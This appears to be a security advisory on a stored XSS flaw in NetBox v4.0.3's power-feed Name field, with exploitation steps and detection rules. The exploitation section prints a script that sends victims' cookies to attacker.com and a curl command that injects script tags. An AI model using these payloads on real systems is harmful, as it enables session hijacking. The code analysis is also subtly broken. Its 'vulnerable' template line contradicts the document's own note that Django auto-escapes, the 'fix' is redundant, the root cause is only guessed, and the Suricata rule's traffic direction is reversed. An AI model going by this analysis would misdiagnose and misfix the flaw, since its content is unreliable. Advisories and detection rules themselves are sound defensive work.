CVE-2024-40739

Executive Summary

CVE-2024-40739 is a stored Cross-Site Scripting (XSS) vulnerability in NetBox v4.0.3, specifically within the /dcim/power-feeds/add endpoint. An authenticated attacker with sufficient privileges can inject arbitrary JavaScript or HTML into the Name parameter, which is then stored and executed in the browsers of other users viewing the power feed list. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 base score of 4.8 (Medium), with low attack complexity but requiring user interaction and low privileges. No public exploit code or Nuclei template is available, but the attack vector is straightforward.

Supply Chain & Package Security

NetBox is a Python/Django-based open-source application distributed via PyPI and GitHub. This vulnerability does not directly affect the supply chain of NetBox itself, but organizations using NetBox as part of their infrastructure management should verify they are not running the vulnerable version (v4.0.3). The lack of an official patch means users must rely on manual input sanitization or upgrade to a newer version if available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector (AV): Network – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): Low – attacker needs a valid NetBox account with permission to add power feeds.
• User Interaction (UI): Required – the victim must view the malicious power feed entry.
• Scope (S): Changed – the XSS can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure possible.
• Integrity (I): Low – limited ability to modify data.
• Availability (A): None – no impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the risk, but the stored nature of the XSS makes it persistent and potentially widespread within an organization.

Deep Dive & Mechanics

The vulnerability resides in the Name field of the power feed creation form at /dcim/power-feeds/add. NetBox uses Django templates and does not properly sanitize user input before rendering it in the HTML. When a user submits a power feed with a malicious Name parameter containing JavaScript, the payload is stored in the database. When another user navigates to the power feed list view, the unsanitized Name is rendered in the HTML, causing the browser to execute the injected script.

The root cause is the lack of output encoding in the template that displays the power feed name. Django’s template engine auto-escapes HTML by default, but if the developer used the |safe filter or mark_safe() function, the XSS becomes possible. In NetBox v4.0.3, the power feed name field is likely rendered without proper escaping.

Vulnerable vs. Patched Code

Vulnerable Code (NetBox v4.0.3):

# In views or templates, the name is rendered without escaping
# Example template snippet:
{{ power_feed.name }}

This renders the raw input, allowing script injection.

Patched Code (Hypothetical fix):

# Ensure proper escaping by using Django's auto-escape or the escape filter
{{ power_feed.name|escape }}

Alternatively, use mark_safe() only on trusted content.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: Authenticated session with permission to add power feeds.
2. Craft Payload: Inject a JavaScript payload into the Name parameter. Example:

   <script>alert('XSS')</script>
   

   Or for session hijacking:

   <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
   

3. Submit Request: Use a tool like Burp Suite or cURL:

   curl -X POST https://target.netbox/dcim/power-feeds/add/ \
     -H "Cookie: sessionid=..." \
     -d "name=<script>alert(1)</script>&other_fields..."
   

4. Trigger: Any user viewing the power feed list will execute the script.

Blue Team (Detection & Mitigation)

• Input Validation: Implement strict input validation on the Name field to reject HTML/script tags.
• Output Encoding: Ensure all user-supplied data is escaped in templates (use |escape filter).
• Content Security Policy (CSP): Deploy a CSP header to block inline scripts.
• Web Application Firewall (WAF): Block requests containing <script> tags in the Name parameter.
• Monitor Logs: Look for unusual POST requests to /dcim/power-feeds/add/ with script-like content.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /dcim/power-feeds/add/ with name parameter containing <script> tags or event handlers (e.g., onload, onerror).
• Logs: Django logs showing PowerFeed creation with suspicious name values.
• File System: No file-based IOCs; the payload is stored in the database.
• Memory: No memory-based IOCs; the XSS is client-side.

Detection Engineering

YARA Rule

rule CVE_2024_40739_XSS_PowerFeed {
    meta:
        description = "Detects XSS payload in NetBox power feed name field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-40739"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: NetBox Power Feed XSS Attempt
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects XSS payload in NetBox power feed creation requests
author: Valters IT
logsource:
    category: webserver
    product: netbox
detection:
    selection:
        http.method: POST
        http.url: '/dcim/power-feeds/add/'
        http.body|contains: 
            - '<script'
            - 'onload='
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in name field (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-40739 NetBox Power Feed XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/dcim/power-feeds/add/"; http_uri;
    content:"name="; http_client_body;
    pcre:"/(<script|on\w+=|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-40739;
    priority:2;
)

Remediation & Mitigation

1. Immediate: Upgrade to a version of NetBox newer than v4.0.3 if available. If not, apply input sanitization to the Name field.
2. Workaround: Manually edit the template to use {{ power_feed.name|escape }} or implement a custom middleware to sanitize input.
3. Long-term: Implement a Content Security Policy (CSP) to block inline scripts and restrict script sources.
4. Monitoring: Enable logging for all POST requests to /dcim/power-feeds/add/ and alert on suspicious payloads.
5. User Training: Educate users to avoid clicking on suspicious power feed entries.

Valters IT